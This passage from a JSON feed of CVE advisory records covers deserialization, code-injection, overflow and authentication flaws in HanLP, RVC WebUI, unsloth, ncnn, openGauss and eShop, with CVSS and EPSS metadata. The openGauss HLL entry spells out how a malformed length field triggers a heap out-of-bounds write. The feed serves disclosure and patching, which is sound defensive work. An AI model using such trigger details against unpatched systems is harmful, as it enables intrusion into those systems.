fixes.","publishedAt":"2026-10-19T05:17:04.993Z","updatedAt":"2026-10-19T18:17:02.310Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112080","asOf":"2026-10-19T18:17:02.310Z"},"epss":{"probability":0.00385,"percentile":0.32259,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112080&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112080","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112080","type":"primary","publishedAt":"2026-10-19T05:17:04.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112080&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112080, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112079","cveId":"CVE-2026-112079","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in hankcs HanLP up to 2.1.0-beta.64. The affected element is the function load_word2vec_as_vocab_tensor of the file hanlp/utils/torch_util.py.","summary":"A vulnerability has been found in hankcs HanLP up to 2.1.0-beta.64. The affected element is the function load_word2vec_as_vocab_tensor of the file hanlp/utils/torch_util.py. The manipulation of the argument vectors.vocab leads to deserialization. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability has been found in hankcs HanLP up to 2.1.0-beta.64. The affected element is the function load_word2vec_as_vocab_tensor of the file hanlp/utils/torch_util.py. The manipulation of the argument vectors.vocab leads to deserialization. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T05:17:04.773Z","updatedAt":"2026-10-19T17:17:10.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112079","asOf":"2026-10-19T17:17:10.943Z"},"epss":{"probability":0.00261,"percentile":0.17718,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112079","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112079","type":"primary","publishedAt":"2026-10-19T05:17:04.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112078","cveId":"CVE-2026-112078","aliases":[],"kind":"vulnerability","title":"A flaw has been found in RVC-Project Retrieval-based-Voice-Conversion-WebUI up to 2.3.260718. Impacted is the function change_info_ of the file webui.py.","summary":"A flaw has been found in RVC-Project Retrieval-based-Voice-Conversion-WebUI up to 2.3.260718. Impacted is the function change_info_ of the file webui.py. Executing a manipulation of the argument ckpt_path can lead to code injection. The attack can be executed remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A flaw has been found in RVC-Project Retrieval-based-Voice-Conversion-WebUI up to 2.3.260718. Impacted is the function change_info_ of the file webui.py. Executing a manipulation of the argument ckpt_path can lead to code injection. The attack can be executed remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T05:17:04.570Z","updatedAt":"2026-10-19T17:17:10.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112078","asOf":"2026-10-19T17:17:10.790Z"},"epss":{"probability":0.00244,"percentile":0.15481,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112078&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112078","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112078","type":"primary","publishedAt":"2026-10-19T05:17:04.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112078&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112078, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112075","cveId":"CVE-2026-112075","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in unslothai unsloth up to 0.1.501-beta. This affects the function FastSentenceTransformer._is_transformer_module_ref of the file...","summary":"A weakness has been identified in unslothai unsloth up to 0.1.501-beta. This affects the function FastSentenceTransformer._is_transformer_module_ref of the file unsloth/models/sentence_transformer.py. This manipulation of the argument Type causes use of externally-controlled input to select classes or code. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.1.902-beta is able to mitigate this issue. Patch name: de801746386a53a0cb26216e715a0af863b76ad9. The affected component should be upgraded.","detail":"A weakness has been identified in unslothai unsloth up to 0.1.501-beta. This affects the function FastSentenceTransformer._is_transformer_module_ref of the file unsloth/models/sentence_transformer.py. This manipulation of the argument Type causes use of externally-controlled input to select classes or code. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.1.902-beta is able to mitigate this issue. Patch name: de801746386a53a0cb26216e715a0af863b76ad9. The affected component should be upgraded.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T04:17:09.287Z","updatedAt":"2026-10-19T17:17:10.637Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112075","asOf":"2026-10-19T17:17:10.637Z"},"epss":{"probability":0.00325,"percentile":0.25277,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112075&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112075","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112075","type":"primary","publishedAt":"2026-10-19T04:17:09.287Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112075&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112075, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112074","cveId":"CVE-2026-112074","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this issue is the function ncnn::yuv420sp2rgb of the file...","summary":"A security flaw has been discovered in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this issue is the function ncnn::yuv420sp2rgb of the file src/mat_pixel.cpp of the component Conversion API. The manipulation results in integer overflow. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security flaw has been discovered in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this issue is the function ncnn::yuv420sp2rgb of the file src/mat_pixel.cpp of the component Conversion API. The manipulation results in integer overflow. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T04:17:08.910Z","updatedAt":"2026-10-19T17:17:10.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112074","asOf":"2026-10-19T17:17:10.470Z"},"epss":{"probability":0.0024,"percentile":0.14891,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112074&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112074","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112074","type":"primary","publishedAt":"2026-10-19T04:17:08.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112074&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112074, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112073","cveId":"CVE-2026-112073","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this vulnerability is the function matmul_transb of the file...","summary":"A vulnerability was identified in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this vulnerability is the function matmul_transb of the file src/layer/matmul.cpp of the component MatMul. The manipulation leads to out-of-bounds read. The attack can be initiated remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was identified in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this vulnerability is the function matmul_transb of the file src/layer/matmul.cpp of the component MatMul. The manipulation leads to out-of-bounds read. The attack can be initiated remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T04:17:08.707Z","updatedAt":"2026-10-22T03:16:34.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112073","asOf":"2026-10-22T03:16:34.450Z"},"epss":{"probability":0.0024,"percentile":0.1489,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112073&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112073","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112073","type":"primary","publishedAt":"2026-10-19T04:17:08.707Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112073&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112073, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111440","cveId":"CVE-2026-111440","aliases":[],"kind":"vulnerability","title":"在 openGauss-connector-jdbc 的 pgjdbc/src/main/java/org/postgresql/log/LogFactory.java 中，LogFactory 根据 JDBC 连接参数中的 logger 类名调用 Class.forName 加载类后，直接反射调用以 String 为参数的构造函数，再转换为 Log。缺少...","summary":"在 openGauss-connector-jdbc 的 pgjdbc/src/main/java/org/postgresql/log/LogFactory.java 中，LogFactory 根据 JDBC 连接参数中的 logger 类名调用 Class.forName 加载类后，直接反射调用以 String 为参数的构造函数，再转换为 Log。缺少 asSubclass(Log.class) 校验，非 Log 实现类也会在类型检查前被实例化。因此，当攻击者可控制 JDBC URL 或连接属性中的 logger 类名，且客户端 classpath 中存在可被加载的类时，可能在客户端触发非预期的类加载与构造副作用。\n\n此漏洞自 JDBC 1.1.0引入，影响 1.1.0 及之后的 2.x、3.x、5.x、6.x 各版本及补丁（含 6.0.0 分支最新 6.0.6），以及 7.0.0-RC1、7.0.0-RC2、7.0.0-RC3，并在 7.0.0-LTS 版本修复。修复在 Class.forName 之后先执行 asSubclass(Log.class)，仅允许 Log 子类进入构造。修复pr见https://gitcode.com/opengauss/openGauss-connector-jdbc/pull/423。","detail":"在 openGauss-connector-jdbc 的 pgjdbc/src/main/java/org/postgresql/log/LogFactory.java 中，LogFactory 根据 JDBC 连接参数中的 logger 类名调用 Class.forName 加载类后，直接反射调用以 String 为参数的构造函数，再转换为 Log。缺少 asSubclass(Log.class) 校验，非 Log 实现类也会在类型检查前被实例化。因此，当攻击者可控制 JDBC URL 或连接属性中的 logger 类名，且客户端 classpath 中存在可被加载的类时，可能在客户端触发非预期的类加载与构造副作用。\n\n此漏洞自 JDBC 1.1.0引入，影响 1.1.0 及之后的 2.x、3.x、5.x、6.x 各版本及补丁（含 6.0.0 分支最新 6.0.6），以及 7.0.0-RC1、7.0.0-RC2、7.0.0-RC3，并在 7.0.0-LTS 版本修复。修复在 Class.forName 之后先执行 asSubclass(Log.class)，仅允许 Log 子类进入构造。修复pr见https://gitcode.com/opengauss/openGauss-connector-jdbc/pull/423。\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T04:17:03.657Z","updatedAt":"2026-10-19T20:56:36.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":["PostgreSQL","Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111440","asOf":"2026-10-19T20:56:36.663Z"},"epss":{"probability":0.00186,"percentile":0.08115,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111440&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111440","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111440","type":"primary","publishedAt":"2026-10-19T04:17:03.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111440&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111440, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112044","cveId":"CVE-2026-112044","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in dotnet eShop up to 913acea66708a59595351174cee9b29f37179d29. The affected element is the function AddApplicationServices of the file...","summary":"A security vulnerability has been detected in dotnet eShop up to 913acea66708a59595351174cee9b29f37179d29. The affected element is the function AddApplicationServices of the file src/Catalog.API/Extensions/Extensions.cs of the component Catalog API. The manipulation leads to improper authentication. The attack can be initiated remotely. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security vulnerability has been detected in dotnet eShop up to 913acea66708a59595351174cee9b29f37179d29. The affected element is the function AddApplicationServices of the file src/Catalog.API/Extensions/Extensions.cs of the component Catalog API. The manipulation leads to improper authentication. The attack can be initiated remotely. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T03:16:59.153Z","updatedAt":"2026-10-19T17:17:09.370Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112044","asOf":"2026-10-19T17:17:09.370Z"},"epss":{"probability":0.00405,"percentile":0.34519,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112044&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112044","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112044","type":"primary","publishedAt":"2026-10-19T03:16:59.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112044&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112044, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111441","cveId":"CVE-2026-111441","aliases":[],"kind":"vulnerability","title":"在 openGauss-server 的 src/gausskernel/cbb/utils/hll/hll.cpp 中，内置函数 HllObjectUnpack() 存在长度校验缺陷。该函数从用户提供的 packed HLL 解析 lenUsed 与 lenTotal 后，仅检查输入长度足以覆盖 HLL_HEAD_SIZE + lenUsed，随后按...","summary":"在 openGauss-server 的 src/gausskernel/cbb/utils/hll/hll.cpp 中，内置函数 HllObjectUnpack() 存在长度校验缺陷。该函数从用户提供的 packed HLL 解析 lenUsed 与 lenTotal 后，仅检查输入长度足以覆盖 HLL_HEAD_SIZE + lenUsed，随后按 lenTotal 分配缓冲区、按 lenUsed 调用 memcpy_s() 拷贝输入，既未校验 lenTotal >= lenUsed，也将 memcpy_s() 目标大小写成 lenUsed 而非实际分配的 lenTotal，导致安全拷贝无法拦截越界写。hll_in()、hll_print()、hll_cardinality() 等 SQL 入口会走同一解包路径。因此，普通数据库连接用户只需构造 lenTotal 小于 lenUsed 的畸形 packed HLL（例如经 ::hll 进入 hll_in()），即可触发服务端堆越界写，存在内存破坏风险。此问题随 packed HLL 解包函数 HllObjectUnpack() 进入代码，v2.1.0 起即存在。受影响版本包括 2.1.0、3.0.x、3.1.x、5.0.x、5.1.0、6.0.x，以及 7.0.0-RC1、7.0.0-RC2、7.0.0-RC3。该问题已在 7.0.0-LTS 版本修复，通过在 HllObjectUnpack() 中补齐 lenUsed <= lenTotal 校验，并将 memcpy_s() 的目标大小改为实际分配的 lenTotal。修复 PR 见 https://gitcode.com/opengauss/openGauss-server/pull/9380 。","detail":"在 openGauss-server 的 src/gausskernel/cbb/utils/hll/hll.cpp 中，内置函数 HllObjectUnpack() 存在长度校验缺陷。该函数从用户提供的 packed HLL 解析 lenUsed 与 lenTotal 后，仅检查输入长度足以覆盖 HLL_HEAD_SIZE + lenUsed，随后按 lenTotal 分配缓冲区、按 lenUsed 调用 memcpy_s() 拷贝输入，既未校验 lenTotal >= lenUsed，也将 memcpy_s() 目标大小写成 lenUsed 而非实际分配的 lenTotal，导致安全拷贝无法拦截越界写。hll_in()、hll_print()、hll_cardinality() 等 SQL 入口会走同一解包路径。因此，普通数据库连接用户只需构造 lenTotal 小于 lenUsed 的畸形 packed HLL（例如经 ::hll 进入 hll_in()），即可触发服务端堆越界写，存在内存破坏风险。此问题随 packed HLL 解包函数 HllObjectUnpack() 进入代码，v2.1.0 起即存在。受影响版本包括 2.1.0、3.0.x、3.1.x、5.0.x、5.1.0、6.0.x，以及 7.0.0-RC1、7.0.0-RC2、7.0.0-RC3。该问题已在 7.0.0-LTS 版本修复，通过在 HllObjectUnpack() 中补齐 lenUsed <= lenTotal 校验，并将 memcpy_s() 的目标大小改为实际分配的 lenTotal。修复 PR 见 https://gitcode.com/opengauss/openGauss-server/pull/9380 。\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T03:16:58.543Z","updatedAt":"2026-10-19T20:56:36.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111441","asOf":"2026-10-19T20:56:36.663Z"},"epss":{"probability":0.00404,"percentile":0.34427,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111441&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111441","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111441","type":"primary","publishedAt":"2026-10-19T03:16:58.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111441&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111441, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108984","cveId":"CVE-2026-108984","aliases":[],"kind":"vulnerability","title":"A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .","summary":"A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .","detail":"A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions 